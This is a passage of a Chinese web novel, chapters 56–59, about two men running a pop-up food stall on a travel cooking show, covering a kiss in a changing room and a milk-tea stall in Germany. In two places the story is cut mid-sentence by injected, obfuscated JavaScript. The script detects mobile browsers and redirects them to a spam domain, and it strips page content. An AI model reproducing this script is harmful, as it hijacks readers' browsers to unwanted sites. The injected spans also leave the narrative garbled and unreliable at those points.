“我是挂金羊毛的那棵树吗？”他忍不住笑道。 齐新雨想了想，很认真地摇头： “不是的。树只需要单方面对羊毛负责，我觉得这样不好。蒋先生应该是我的箱子。” 关着薛定谔那只脾气不好的猫，关着他无处安放的贪婪占有欲，关着他最阴暗隐秘的野望。 他想象不出箱子若某一日被打碎会是什么样子，但蒋醉余知道。 蒋醉余摸摸他的头，发丝手感很好：“不要紧张，我知道你是什么样的。我永远不会背叛你。 “小齐，你想来就来，想走就走。” 56. 如何品鉴草莓 齐新雨深吸一口气。 更衣室显然不会是一个多浪漫的场合，尤其是当外面还有一个喊着“让我康康”、焦急地走来走去的路易斯。 “先生，”齐新雨说，省去姓氏，“我不想走。我想亲你。”他说得很严肃，像在发表什么重要观点。 蒋醉余下意识抬起手，柔软的唇肉就从他指腹略过。齐新雨偷袭失败，舌尖抵上掌心。 “这里是更衣室，小齐。”他意有所指。蒋醉余紧了紧那件叶子外套，是一棵萎靡的树。 齐新雨又扭了扭。 蒋醉余用他西装上的那条毛毛缎带把他捆好，像摆一个漂亮娃娃一样把他端端正正地在椅子上放好，自己蹲下身去。 他还蛮喜欢这个视角。 “照理说这些话我早应该讲，就算迟到补充，也不能是在这种环境。” 蒋醉余说，一字一句都在心底打磨过千万遍。 “我不如你想象中那么好。我会在被前公司抛弃的时候自暴自弃，我会嫉妒路易斯能和你讨论艺术话题。我会一边把你哄来陪我，一边踟蹰不前。” 齐新雨拼命摇头，眼睛瞪得圆溜溜的。 要不是被他整个人锢住，看起来很想凑过来凶巴巴啃他的耳朵，顺着半新鲜的耳洞边缘烙一圈牙印。 他的情绪和思维如同天光乍破，在此一览无余。 蒋醉余感觉整个人沉甸甸的，从血管到胸腔都塞了满满当当的花海。 旁人忍不住喜爱，又怜惜花开得这样不计后果，终于这点难以言喻的酸涩都化成溪流，又让那花愈发轰轰烈烈。 他倾身，把双手搭在齐新雨膝盖上，语气轻得吹不走一粒蒲公英： “小齐，我是个很自私的人。我不想骗你私奔了，我想光明正大爱你。” 像征询又像祈求。 齐新雨感觉自己飘飘悠悠，比蒲公英更轻盈，更衣室的小凳子留不住他，他顺着皮面滑下来，半跪半坐到了蒋醉余怀里。 “我批准你爱我啦，”齐新雨说，“但我要更张扬，我要明目张胆爱你。” 蒋醉余含笑看着他：“那我就肆无忌惮地爱你。” 英籍混血齐新雨宕机了。 他把fragrantly、grossly之类乱七八糟的词在脑子里转过一圈，一个也翻译不出来，干脆不管不顾地凑上来宣布： “我要直接亲你了！” 他像一颗糖衣炮弹或者草莓冰糖葫芦撞了上来，目标是敌军发号施令的柔软根据地。可惜炮弹没有炸开。 他气势汹汹地堵上来，然后失去了下一步动作，只能睁大眼睛怒视再次把自己捆住的蒋醉余。 蒋醉余拨开糖衣，擒获炮弹。 厨师先生是品味食材的高手，吃草莓也要讲究道道工序。先要舔舐粉红的草莓果皮，它们被催熟后会变成娇嫩柔软的深红色，轻轻一碰就开始颤抖。 然后趁着草莓不注意，拨开它的果皮。 草莓是一种汁水充盈的水果，尝到甜头的唇舌会用最快速度学会如何掠夺出更多果汁。 愉悦感不仅来自于这点甜头，人类还很擅长从这项活动中获得精神和情绪上的满足。 务必注意植物是很脆弱的，要可持续低吮吸草莓，给植物细胞以呼吸的机会，以便生成更多只有聪明人才能品味到的糖分。 专业厨师仔仔细细、里里外外检查完了一遍新到手的食材，整株草莓藤都颤颤巍巍地蔓延攀附。 齐新雨睫毛抖了抖，不甚适应地睁开眼睛望着简易更衣室惨白下垂的帘子“房顶”，张开口奋力汲取新鲜空气。 蒋醉余抱着他直起身。 他双腿还有点发软，想说点什么又无从抱怨，总不能怪自己的宣言太傻，最终凝成拖着长音的三个字：“蒋先生……” 他拍拍自己身上的衣服，着急起来，当即就要拉开更衣室的围布： “蒋先生你记不记得我今天把速写本放哪啦，我要画画……不对，路易斯是不是还在外面呢！” 蒋醉余拦住他：“你想就这么出去？” 齐新雨摸出手机看看镜头里的自己，默默撤回一个外出动作。 蒋醉余看笑了，忍不住继续逗他：“宝宝，有没有人说过，你一紧张就会忘记换气。” “有，”齐新雨乖乖点头，“第一次在舞台上看到你，我回去熬夜画画，太兴奋差点把自己送进医院。” 真诚是永远的必杀技。 蒋醉余闭上眼，胸口起伏，睁开眼手指点了点他。 齐新雨不明所以地顺着他的方向摸摸自己，唇瓣尚还敏感，整个人又红起来。 他们在更衣室搓磨半天，路易斯最终也没有看到他cp穿自己设计的衣服的模样。 那两件衣服被蒋醉余直接打包带走，口头承诺会给他发照片，但没答应时限。 齐新雨深感自己以前画画对题材的认知还不够深刻，当天晚上一声不吭，抱着他的巨大鳐鱼玩偶缩在自己床上，没有和谁同床共枕的打算。 蒋醉余不逼他，第二天却是两个烟圈黢黑的人清早相见。 蒋醉余端着咖啡从厨房出来，就看到有人蹑手蹑脚从冰箱里偷糯米糍冰淇淋——拿铁味的。小贼不仅不紧张，还恃靓行凶，当着他的面咬了一口冻得梆硬的冰淇淋。 虽然和节目组说的是今天也不出摊，但闲着也是闲着，冰箱里又还零星剩了点菜，小餐车在没有直播的情况下被骑到了熟悉的位置。 观众早被通知了放假，顶流粉丝追随偶像去了下一站，两天大秀结束，工作人员和模特都不算多。后街一下子变得比他们来之前还要寂静。 蒋醉余刚停好车，只看见一个似曾相识的身影向他冲过来。那姑娘眼泪汪汪地问：“你们是卖盒饭的那个随即摆摊摊主吗？” 他点点头。 “太好了，我不用当怨种了！”姑娘露出如释重负的表情。 “随便您摊上有什么菜，给我打一人份的就行。” 说话间，齐新雨已经揭开菜盆。今天都是剩下的食材，做的菜也没几道。纯粹是两个人没事干。 刚刚出锅的炒菜热起还没散尽，被压在盖子底下憋了一路，此时一股脑喷涌而出。 专门从中超买来的鲜嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋醉余淡定地接下她的祝福，女生守着自己满满几兜战利品，随口道：“你们是公开出柜了吗，不怕被直播录进去吗？” 齐新雨用下巴在蒋醉余肩膀上碾来碾去，还没意识到什么：“今天没有直播也没有摄影师啊，我们两个偷偷跑出来玩的。” 姑娘愣住了。 “所以我成功地找到摊子上、还买了这么多菜，根本没有被录上，除了你们之外没人会知道？” “您……是有什么上电视的需求吗？”齐新雨小心翼翼地问。 女生指着自己，欲哭无泪：“你看我眼熟吗？我就是最开始被采访说想吃盒饭的那个路人啊。” 西班牙那位想吃螺蛳粉的幸运华人，最终也没能找到隔壁城市的隐蔽草坡，可是在网上被好好嘲笑了一番“为他人作嫁衣裳”。 面前这位留子则是一天二十四小时泡在网上，昨天晚上刷到相关消息认出蒋醉余和齐新雨，今天就跑来找小摊。她可不想成为第二个点了菜吃不到的傻瓜。 她抱着最后一丝希望上上下下巡视一圈餐车，找不出一点摄像头的迹象，终于呆住：“所以就算我找来了，他们也不会知道我来了？ “那我今天六点就起床来蹲点的意义是什么啊！” 57. 小杯糯香奶茶 匡勤勤，人如其名，自认吃苦耐劳，受得住板凳干坐十年冷，因此勇敢地成为了一名德国留学生。 她拎着速冻披萨走出超市，在手机上兴致高昂地打字：【有没有人注意过酱鱼在龙达让小齐念的那段话，我去搜了全文。】 【我们不是在讨论亲口表示不爱旅游的酱鱼，为什么要去马德里走马观花玩一圈吗？ 【我真的想不明白，在巴黎这么多天，除了几个重要地标以外哪也没去，他当初为什么非要去马德里啊。】 匡勤勤抿抿嘴，正色回复：【对啊，你听我说，龙达适合私奔的后半句是，‘如果这里的蜜月都无法让你们满意，那你们最好回到巴黎，各奔东西’。】 她抱着手机，忍不住啧啧两声：【所以说，有的人为了避免‘离开龙达去巴黎’的情况，宁可毫无必要地从马德里路过一下。是谁我不说。】 网线那边的cp粉们发来或长或短的尖叫。 如果不是在大街上，连匡勤勤自己都想为了她的这个发现欢呼雀跃。 她难以压抑自己激动的心情，只能把手里的速冻披萨又抱得紧了一点……好冰。 匡勤勤被冰得一哆嗦，装作若无其事地抬起头。面前不远处，摄像机簇拥着两个很眼熟的男人。 是我太上头嗑出幻觉了，还是被该死的德国研究生课程憋出幻觉了？匡勤勤揉揉眼睛，那两个人向着她的方向走来。 她晕晕乎乎地看着蒋醉余和齐新雨手牵手走到自己身边，很有礼貌地问她能不能点菜。 决定随机摆摊菜谱这种好事情，还能落到我头上？匡勤勤深吸一口气，眼神坚定： “你们是哪个自媒体的整蛊节目吗？综艺logo伪装得还挺像，但是我很不好骗的，我知道他们这周应该去丹麦！而且我怎么可能搞到真的！” 蒋醉余一顿。 施普雷河潮信来，今日方知我不是我。 他和齐新雨对视一眼，从身后包里犹犹豫豫掏出一本护照来。烫金五星国徽在阳光下灿灿反光，匡勤勤动作僵硬地捂住脸。 完了，好像真的是正主……我都在他们面前说了些什么啊！ “原定确实是要去丹麦找伊薇特，不过我们临时改变计划了。” 齐新雨是位很贴心的嘉宾，装作什么都没发生，又重复了一遍他们的问题。 “我现在最怀念什么国内美食，”匡勤勤犹豫着开口，“可以具体到某一款吗？” 蒋醉余点点头。 她有些不好意思地说：“我有点口味异于常人……我想喝糯香奶茶或者果茶了，青〇糯山、糯香奶绿，甚至糯香柠檬茶都可以。” “您想喝糯香茶？”蒋醉余确认道，齐新雨不明所以。 话已出口，匡勤勤不管不顾点头：“是的，我特别喜欢糯香奶茶，它有种小狗脚的味道，有阵子不喝还有点想念。” “我想我家小狗了，”她说着低落下来，“但是国外的奶茶店都不做这款。” 齐新雨更恍惚了。 狗脚味、奶茶、好喝，这三个关键词是怎么放到一起的？ 匡勤勤解释自己的想法：“你们都知道那个笑话吧，在德国读书的三年会是你人生五年中最充实的七年。” “刚出国的时候，我说我不要做段子里的德国留学生，我要激励自己两年准时毕业，不毕业誓不回家。” “现在两年之期已到，我至少还有一年的课没上——我已经两年没有见过我家狗了！” 家里养了宠物的导播投来一个敬佩的眼神。 齐新雨小声劝解：“又不是没有假期，要不还是回去吧。” “回国太贵了，还浪费时间，”女生说，在齐新雨抱歉的眼神里淡定补充，“所以我把狗接过来了，下个月它就到。” 倒也不失为一个好选择。 两人谢过女生，脑子里还萦绕着她对小狗的热爱，蒋醉余精挑细选了一位抱着小土狗的本地人提供摆摊地点。 路人不负期望，把他们指到了流浪狗收容中心的门口。 这次备料比较简单，等找到糯米香茶原料，小摊就营业起来。 考虑到糯香茶良莠不齐的接受度，摊位提供从迷你杯到超大杯各种尺寸，容量选项甚至比饮品选项还多。 奶茶本体只有三种选择：奶茶、米乳茶和纯茶。 蒋醉余把超市买的植物奶通通尝了一遍。豆奶香味突出，燕麦奶和杏仁奶过于醇厚、口感不够清爽。 唯独米乳，虽然空口喝略有点腥味，做成奶茶反而与茶叶配合得浑然天成。 导演却在直播开始前跳了出来，一本正经道： “由于嘉宾在法国营业态度不佳，提前两天完成销售任务后直接关摊，本次德国之行我们将增加难度。” “明明是你同意提前结束的！”齐新雨说，“想坑人也找个好理由啦！” 导演只作没听到：“本周的附加任务是，请收集五十位食客的真心赞美。” 真心是个很难评判的情绪，所以节目组给出的标准是，食客要夸赞奶茶超过三十秒，才能做数。 正如一些流传深远但确实有点道理的刻板印象，德国人显然不是什么热情奔放的民族。如果想要尽快凑齐夸奖，还是需要主动出击。 一个沉默的我如何邀请一个内敛的你？蒋醉余一言不发，脑中静静浮现自己求客人给个好评的恐怖场面。 他回身，双手搂住齐新雨的脖子，微微垂首：“小雨帮帮我，好不好？” 齐新雨艰难地扭过头去：“导演找过我了……” 唯一的外援被禁了，蒋醉余深吸气，导演在旁边笑得心满意足。她拍拍手转开话题，示意直播可以开始。 没过多久，收容所里有一男一女两名工作人员探头探脑地冒了出来。 这样的盛夏里，他们穿着长袖雨披满头大汗，头发、脸上到处都湿漉漉的，其中女士怀里还抱着一只相当活泼的小狗。 “老板说门口来了个中国人开的奶茶摊子我还不信，没想到是真的？给我来杯冰的珍珠奶茶吧。” “暂时没有小料。”蒋醉余指指台面。 “那就来杯糯香奶茶好了……”工作人员说着，怀里的小狗突然不安分起来，挥舞着前肢，一脚捂在他嘴上。 “露娜！”她呸掉满嘴狗毛，“你还没洗澡！” 蒋醉余不忍卒视，对旁边另一人道：“我建议你们先来一个迷你杯试喝一下，这款茶底味道比较独特。” 工作人员自信摆手：“没关系的，我们两个连最近网上很火的螺蛳粉都尝过了，没有什么能难倒我的！” 他说着，迫不及待付了两标准杯奶茶的钱。 全糖加冰的奶茶被送到客人手里，工作人员仍念念不忘地问他：“真的不能双倍糖吗，我知道一般中国人开的奶茶店都甜味很淡。” 那边小狗露娜与两脚兽的大战终于告一段落，男工作人员抱着没开封的奶茶辞别： “我们要先去给这群魔王洗澡了，谢谢你的冰奶茶拯救这个炎热的季节。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775134|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >真的是拯救而不是火上浇油吗？蒋醉余欲言又止。销售额迅速达成两杯，支线任务需要的夸奖却还完全没有影子。 他们两个带着一群狗乌央乌央地走了。 齐新雨拿着一小杯奶茶，伸出舌尖舔了舔，五官像个干巴巴的脱水橘子般缩到了一起。 猫狗不和果然是真理。蒋醉余从他手里拿过杯子：“受不了就别喝了，糯香茶底本来就是褒贬不一的。” 齐新雨皱着鼻子，把杯子抢回来：“你不许喝。” “你都舔了好几口了，一直受不了，我帮你解决掉嘛。”蒋醉余哭笑不得。 齐新雨凑近闻闻奶茶，又捂住口鼻自己哈出一口气，最终坚定、缓慢、愤怒地做口型：如果你喝了，今天就不许亲我了！ 非常恐怖惩罚使小蒋大脑旋转。 齐新雨显然是对这个香味接受度极低的那一类人，就像几十分钟后匆匆跑来的工作人员一样。 两名工作人员看上去更疲惫了，拉拉扯扯争执着跑过来。 “老板，”男工作人员怒气冲冲地说，“你卖给我们的奶茶怎么才在冰箱里放半个小时，就会有异味啊？” 蒋醉余了然地接过奶茶：“没有变质，这就是我当时说的茶底特殊味道。” 女工作人员得意地笑起来：“你看卡尔，我就说吧，哪里有味道了。” 卡尔不信邪地又闻了闻。冰箱里温度不高，冰块都还没化完，撞到塑料杯壁上发出闷响。奶茶看上去平平无奇，是均匀的浅咖色，其中却大有乾坤。 “怎么可能，就是一股子狗脚味啊。” 他下意识怼回去。“卡尔你尝不出来，不会是因为嘴里早就充斥着露娜的脚味吧！” 艾达不甘示弱：“哪有什么狗脚，这个奶茶明明就很好闻也很好喝，有一点大米、玉米或者大麦之类微甜的谷物香。 “倒是你，非要说什么一股脚臭，把浴室里那几只狗洗了两遍！今天肯定洗不完全部的狗了！” 眼看着这两个人当着摄像头又要吵起来，齐新雨连忙跑出来劝架： “糯香就是这样只有一小部分人才能感受到啦。我也觉得这款不好喝，但是摊主还挺喜欢的。” 卡尔狐疑地看着他：“你不喜欢这个味道，那还跟着摆什么摊？” 真是个好问题，齐新雨败下阵来。蒋醉余跟着道：“他说的是真的，这种茶在中国互联网上也争议十足。” 有些人能尝出糯米香、玉米须茶或大麦茶的清香，有些人觉得像小狗脚但越喝越上头，还有些人对它敬谢不敏。 卡尔捕捉到关键词：“你看，我和老板的说法也是对的，它就是有狗脚味。” “你还敢提老板，”艾达嘲笑，“老板可是对这个味道喜欢得不得了啊。” 话音未落，收容所的老板抱着一只没精打采的小狗姗姗来迟：“它不是上午洗过了吗，怎么又洗一遍啊……哦，你们在这，这就是你们给我尝的那个奶茶吗？” 他走过来，兴致勃勃：“给我来个超大杯的米乳茶吧。” 这个客人一看就很开朗。蒋醉余眼神一亮。 “您觉得糯香奶茶味道不错吗？”他装作不经意地问道。 一个喜欢小狗的人能有什么坏心眼，他一定像小狗一样有满满当当的爱，并且热衷于将这份爱发扬出去，这就是蒋醉余今天的三观。 汪门。 在蒋醉余满怀期待的内心戏中，老板满足地猛吸一口奶茶，赏出一个孤零零的词： “不错。” 58. 奶油爆米花味 蒋醉余恍惚觉得，自己是网传视频里那个引导客人说出羞耻奶茶名的店员。 只不过视频里的那位卖家信念感爆棚，对自己的工作乐在其中，而他是被节目组压迫的可怜社恐。 客人一句“不错”，蒋醉余就没了话说。 总不能追问人家哪里不错吧！ 他在脑子里推演了八百遍自己刨根究底要刮奖的尴尬场面，外表仍满怀期待地望着收容所老板马特奥。 马特奥看看他，又看看自己手里几乎不见少的超大杯奶茶，恍然大悟：“嗨呀我知道了，你想抱狗就直说嘛。” 他说着，一只毛茸茸的小狗被举到了蒋醉余面前。蒋醉余来不及拒绝，下意识伸出手。 小狗一点也不怕人，两只爪子很自然地找到他肩膀搭上。在糯香奶茶的“坑害”下，当时屋内的所有狗都被误以为没洗干净，一天洗了两遍澡，现在充斥着洁净的皂香。 齐新雨在旁边偷偷伸出手，摸了一把柔软的卷毛，蒋醉余笑得很勉强：“我倒不是这个意思……” 话音未落，被“嫌弃”的小狗就叫了起来。 寂静的马路上驰来一辆公交车，正停在摊子不远的站牌下。人声瞬间嘈杂起来，身穿制服的中小学生三五成群地从车上冲下来。 背景音里还有司机“不许逃票”的怒号。 “三点了啊，”马特奥把小狗接回来，和蒋醉余道别，“它有点怕发动机的噪音，我先给它送回去。” 别走—— 蒋醉余眼睁睁地看着他离开，叹了口气。目前寻求顾客夸奖的成功率竟然是零呢。 像是听到了他的心声，那群学生跑了过来，兴高采烈地和收容所三人打招呼：“下午好，你们是来买奶茶的吗，好喝吗？” “我觉得很好喝，有种玉米外壳的清香。”艾达点点头。 马特奥也点点头：“确实还不错，很独特的味道。” 学生们若有所思地收回眼神，卡尔站在一边呲牙咧嘴地拼命摆手。 “别喝，”他用气音大声密谋，“一股子狗脚味。” 学生们的眼神亮了起来。 他们一边开始从书包里掏钱包，一边嘻嘻哈哈地反驳：“你瞎说，怎么会有狗脚味的饮品啦！” 纵观全世界青少年大概都有一个毛病，奇怪的东西不感兴趣，但怪得惊天动地的东西总能让人好奇。 卡尔这话一出，反而让原本没有购买计划的年轻人们来了兴趣。 他们凑到摊子前面，有十万个问题要抛给蒋醉余。 “老板，你的奶茶真的有狗味吗？” “老板，你是怎么想的要研发一款狗脚奶茶啊？” “我知道，老板一定是用泡狗的水煮了奶茶。” 蒋醉余一愣，差点呛到口水。 “不是所有人都能喝出狗味，”他哭笑不得地解释，“用的是糯香绿茶，我不养狗。” 只养猫。他看看眼神凶恶盯着茶底的齐新雨，在心底悄悄补上一句。 学生们却不管这么多，挥舞着钞票冲上来：“我来试试！我肯定是能喝出狗味的那一类人。” 奇怪的买奶茶理由增加了！ 大部分学生要的都是最标准的牛乳茶。他们还稍微有一点理智，关系好的几人分一杯，简直把这件事当成了一场游戏。 第一位学生小心翼翼地吸一口奶茶，表情严肃地品品味道，又喝了一大口，才把被子交给第二名学生。 第二人也不甘示弱，选取不同的策略，上来就豪爽地猛吸一口，然后咕咚一声咽下去，盛夏喝了冰可乐般发出一声满足的喟叹。 奶茶交到最后一个人手中，前面两位的目光都向此集中。第三人泰然自若，优雅地品尝完毕，露出挑衅的笑。 试喝结束，三名学生异口同声：“我喝出狗味了！” 蒋醉余看得有趣。 他们奶茶是轮流喝的，反馈却是一起给出的，还要在喝的时候掩饰自己的表情，活像是在玩谁是卧底。 比如现在，第二人就补充道：“我刚喝下去就像看到了我家阿拉斯加朝我扑过来。马特奥和卡尔说得太对了，就是那种小狗在院子里疯跑一圈汗津津的脚垫味。” “你胡说，”第一人抓住破绽，“你肯定是编的，我刚喝下去只体会到了茶叶那种苦涩的清香，慢慢才感受到小狗在草丛里朝我跑过来，怎么可能是纯粹的狗脚味。” 第三位学生也加入质疑：“你怎么会感受到青草苦味？明明更像我们之前经常路过的那家中餐馆，店里蒸了很多白米饭，然后我和店主养的小狗在门口玩，完全就是一模一样的味道啊。” 这位应该是卧底，蒋醉余摸着下巴想。 另外两个学生果然感觉到不对：“你肯定是编的，哪里有米饭味！” 对于糯香茶底的评价，大部分都是在两类风味里二选一。 一部分人能感受到米饭、糯米或粽叶热气腾腾的香味，对此接受良好。 另一部分人则将其定义为不太美妙的人体分泌物味道，如果不养宠物的则只能说出一句“好怪”。 甚至有些人觉得家里宠物的脚是什么奶油爆米花味、刚出锅的白米饭味，也是同样的原因。 抓住了嫌疑人，两名学生开始在一旁打闹着逼供。关于糯米为何狗脚味的争议四处上演，导演站在摄像机旁边，缓缓举起一块牌子： 夸夸任务进度4/50。 蒋醉余看学生们的眼神愈发慈爱。 一车学生里总能凑出几个喜欢这款奶茶的，这群爱好者之中又总能凑出几个长篇大论描述口味的。 如果不是这群胜负心爆棚的小同学致力于证明自己喝出小狗脚味，他绝对没法轻易凑出什么单人三十秒夸奖。 第一届奶茶版谁是卧底告一段落。 中学生捏着奶茶走了，他们还要赶着去附近的图书馆一起学习。临走之前一个个熟练地给蒋醉余画饼：“老板我明天会把你介绍给我们班同学的！” 蒋醉余笑着点点头，马特奥老板不知道什么时候又走了出来，爽朗笑道：“我也会把你介绍给我的顾客们的。” 您的客人不会也是寡言鲜语德国人吧。蒋醉余默不作声地想。 收容所地处的街 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她仿佛并不是站在异国他乡的大街上，而是已经回到自己的故乡，窝在家里抱着小狗喝奶茶。 夏天的小狗热乎乎的，她又不敢开空调猛吹，只能“亲自”喝冰水。 匡勤勤已经完全忘了自己誓要体现CP粉精神风貌，抽抽鼻子： “我觉得特别完美！比我在国内喝到的味道还好，尤其是这个米乳配上糯米茶，米香和淡米香直达上颚和鼻腔——简直是双倍的小狗味！ “我感觉这已经不是一只小狗了，我就是狗皇帝，坐拥三宫六院大狗小狗，想啃哪个狗头就啃哪个，想闻哪只狗脚就闻哪只……我好幸福。” 她深吸一口气，总结陈词：“现代社会真好，不用献祭就能尝到神迹。” “哇，”齐新雨说，“你好会形容啊，好有画面感……” 一个留子和一位英籍混血，在此刻达成了文学批评标准的空前统一。 蒋醉余看看这个又看看那个，试探着问：“狗皇帝……好像不是个好词吧？” 匡勤勤败退。 蒋醉余从来没有过比这更舒心的摆摊体验。 第二天呼朋引盼来的中学生更多了；因为是星期五，也有不少打工人和朋友一起来买奶茶。 收容所老板在宠物社群很有些人脉，一记广告下去不少周边居民都在遛狗的时候跑来品尝。 顾客多了，收集到的好评也稳步提升。 正当他谋划着明天要再加一款芋泥奶茶的时候，队伍中出现一张令人意想不到的脸。蒋醉余拉着齐新雨耳语两句，对方很快找到编导把他请出队列。 那人戴了个黑口罩，头顶鸭舌帽和背包挂件上都印着不让播的字和图案。 “你一个摆摊的，凭什么拒绝顾客？”他不服不忿地用中文大喊起来。 蒋醉余把手头的奶茶交给客人，才漫不经心看向他： “你不是在黑叉网站骂我，说‘注定饿殍遍野的土地孕育不出来懂食物的人’吗？怎么还跑到我这来乞食呢？” 59. 全新风味芋泥 这话说得相当不留余地，鸭舌帽客人脸上立刻挂不住了。 他提高了嗓门，试图用音量证明自己的正确性：“你在这里摆摊，我一个在这里正当生活的居民，凭什么不能跟朋友一起来吃？” 蒋醉余有点想笑了。 饶是在这样虚张声势、声色俱厉的时刻，对方也说不出一句“我是合法公民”，因为他根本在黑叉上臭名昭著。 离开不被他承认的祖国后，他在某小国卖儿卖女，才换来孤身一人偷渡成为非法移民的机会。 他惶惶不安，对有关华人的一切消息都异常敏感，在《美食之王》刚刚播出时就追到了蒋醉余账号下谩骂，理所当然地得到了被拉黑的待遇。 蒋醉余不想争吵，指指摊位上的摄像头，他就悻悻退到旁边，却并没有离开。 队伍又流动起来。 一位位顾客拿到了自己想要的奶茶，沉默地离开。选择现金支付的人不在少数，齐新雨便专门负责收银。 纯茶的受众很少，而牛乳和米乳茶是同一价位。他机械性地收取着同样的价钱，偶尔因为过于灵活的找零和客人分辨两句。 收款流水线忽然卡顿，有人点完单却并没有交钱，只是刷着手机等在原地。 齐新雨抬头望去，想起他似乎是和鸭舌帽一起来的。 鸭舌帽忙不迭凑上前来，不太熟练地数出面值大小不一的硬币。 他还记得刚才的事，把硬币摔在摊位上，兀自冷哼一声：“看什么看，没见过替朋友付钱的啊。” 看你们两个不像朋友。 齐新雨腹诽着，那位“朋友”果然很不讲朋友一起，拿了奶茶也不等他，就不闻不问地独自离开。 鸭舌帽站在原地看了半天，终于转身向反方向走去。 他的身影消失，齐新雨轻轻叹了口气。总有些人陷入自己编织的幻想，在沉没成本的裹挟下障目越来越深。 “小齐怎么情绪不太高呀，你们不会真遇到什么事了吧。” 过了一会，去狗狗收容所借卫生间的导演忧心忡忡地回来了。 她蹙着眉，比比划划地和其余工作人员描述： “我刚刚路过收容所那片空草坪，碰见一个人好像在报警举报我们摊…… “他那个德语英语混成一团，还动不动卡壳冒出两句‘那个’‘就是’的中文，我也不知道翻译得准不准。” 众人一对描述，果然正是没买到奶茶的鸭舌帽。 “可恶，我要是早点出来就好了。”导演懊恼极了。 “我只听到他结尾最后两句，在感恩戴德地希望警察快点来查。 “但是我们到底有什么能被举报的啊？” “不许动！有人怀疑你们的奶茶里放了违禁食材。” 第二天一开摊，警察在众人紧张又有点兴奋的目光中跳了出来。 鸭舌帽的报复很成功，只需要他一句话，整个团队熬了一晚上，确认所有拍摄、售卖、进口食材证件的确无误。 他们想了一晚上也不知道自己犯了什么错，一时间甚至有点期待起警察的到来。 工作人员们顶着新鲜的黑眼圈，哑着嗓子催促蒋醉余：“蒋老师，来点浓茶，我要吊命……” 蒋醉余满怀歉意地把双倍茶叶版热茶递给他们，糯香茶独特的味道在温度的蒸腾下愈发惹人侧目。 这股气味一出，躲在附近的警察立刻牵着警犬警惕起来。 虽然不知道这是什么东西，但是身为德国人的生存经验告诉他们，味道独特的植物通常有点问题。 “你们看着……有点憔悴啊。” 警犬绕着摊子闻来闻去，其中一位警察一边检查证件，一边聊天般随口问道。 导演信心十足地掏出了存储卡。 优秀的综艺导演会注意到每一件意外成为节目素材的可能性，比如这个小工作室全员齐上阵、熬夜整理材料的场景，就很适合卖惨。 所以她当然是多机位记录了自己等人废寝忘食确认证件的伟大场面。 警犬摇着尾巴回到他们面前，做出无可疑物的安全信号。一位年轻警察摸摸它的头，微微松了口气。 他扫视一圈摊位上短短的菜单： “给我把每款产品都打包一份，我们拿回去再做个检测——我叫伯纳德，等检测结果出来了我会再联系你们的。” 蒋醉余点点头。除了原有的三个基本款，今天摊位又加上了小料芋泥。 严谨的警察们选择排列组合、六杯全要，拎着满满两袋饮品走了。 伯纳德坐在车上，时不时好奇地探头往袋子里瞧去。奶茶密封得很严实，一点都闻不出来刚才在摊上浓郁的怪味。 “报警的人还说什么这个奶茶‘荼毒’了多少顾客……”他嘀咕着，“知道是中国人的团队我就不来了。” 坐在前排的中年警察不太赞同地摇摇头：“我们当然盼望是虚惊一场，今天可有不少事情要忙，但是话不能这么说。” 忙碌的小队并不包括伯纳德，他今天被留下来“看家”。他把奶茶放到检验科的台子上，独自回到办公室守着电话玩手机。 作为一有空就泡在网络上的标准年轻人，他昨天可是刷到过奶茶究竟是狗脚味还是谷物香的争论。 那些人描述得绘声绘色，看得伯纳德心潮澎湃，一上班就抱着警犬闻了半天。中年警察差点把他塞去体检。 也不知道技术员什么时候能来干活，他还想测试一下自己的味蕾呢。 首页又刷出来一条说是去领养小狗没喝上奶茶的贴子，伯纳德挠挠头，内线电话响了起来。 是检验科的技术员。 刚一接通，她就怒气冲冲地问道：“你们送了什么东西来检测，警犬的泡澡水吗？不是说要查违禁药品吗？” “没错啊，”伯纳德点点头，想起来电话那边看不到，便站起身，“你要开始测试了吗，我马上过去。” 技术员给他留了门，等伯纳德赶到，就看到对方已经全副武装地串号防护服，没有半点皮肤露在外面。 透过护目镜依稀可见她皱着鼻子，很不情愿地从奶茶杯往外吸样品。 “我们初步判断是安全的，你不用裹这么严实吧。”伯纳德茫然地说，几乎以为自己进了什么高危生物实验室。 技术员没好气：“你知不知道我刚刚进屋正准备干活，找了三圈看哪只 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“肯定的啊，”技术员摘下口罩，又瞬间戴回去，“你到底留着它们还有什么用，给嫌疑人逼供吗？” 在她震惊的眼神中，伯纳德从袋子里掏出吸管，在芋泥奶茶里一插到底。 他用面部代偿的努力吸出了一口含有芋泥的奶茶，在嘴里咂吧咂吧味道。 “还能是干什么？当然是用来喝啊。”伯纳德坦然回答。 他说着，又把吸管拔出来一点，喝了一小口纯奶茶，目光移向了技术员的长柄塑料勺。 伯纳德伸出罪恶之手：“你有这么多一次性勺子，分我一个也不是不行吧……吸芋泥也太难了，我想舀着吃。” 技术员拍开他的手，无语凝噎：“拿上你的奶茶，滚。” 伯纳德带着他的战利品滚了。 他找了个不暴露任何环境的空桌子，把奶茶们一字排开，打开短视频软件的自拍模式。 他顺着一排奶茶逐一喝去，每喝一口就要满足地叹息一声，把他最爱的芋泥糯香米乳茶留到了最后一个。 “你说，”伯纳德嚼嚼嚼，“这个狗脚奶茶里加芋泥是谁发明的啊。” 伯纳德不是没喝过奶茶，在此之前他从来没觉得芋泥是什么令他惊为天人的小料。 可是这杯奶茶不一样。 作为根茎类食物，芋泥本身略带泥土的朴实气息，大多数店家会选择用甜蜜的牛奶和糖分掩盖。这杯奶茶里，芋泥却与糯香配合得天衣无缝。 “我想起来和我同期入队的那只警犬了。每次在雨天做完室外训练，或者去野外寻人回来，小狗脚上就会沾上泥巴。 “我有时候会想象它的毛爪子拍到我脸上是什么感觉，现在我知道了。” 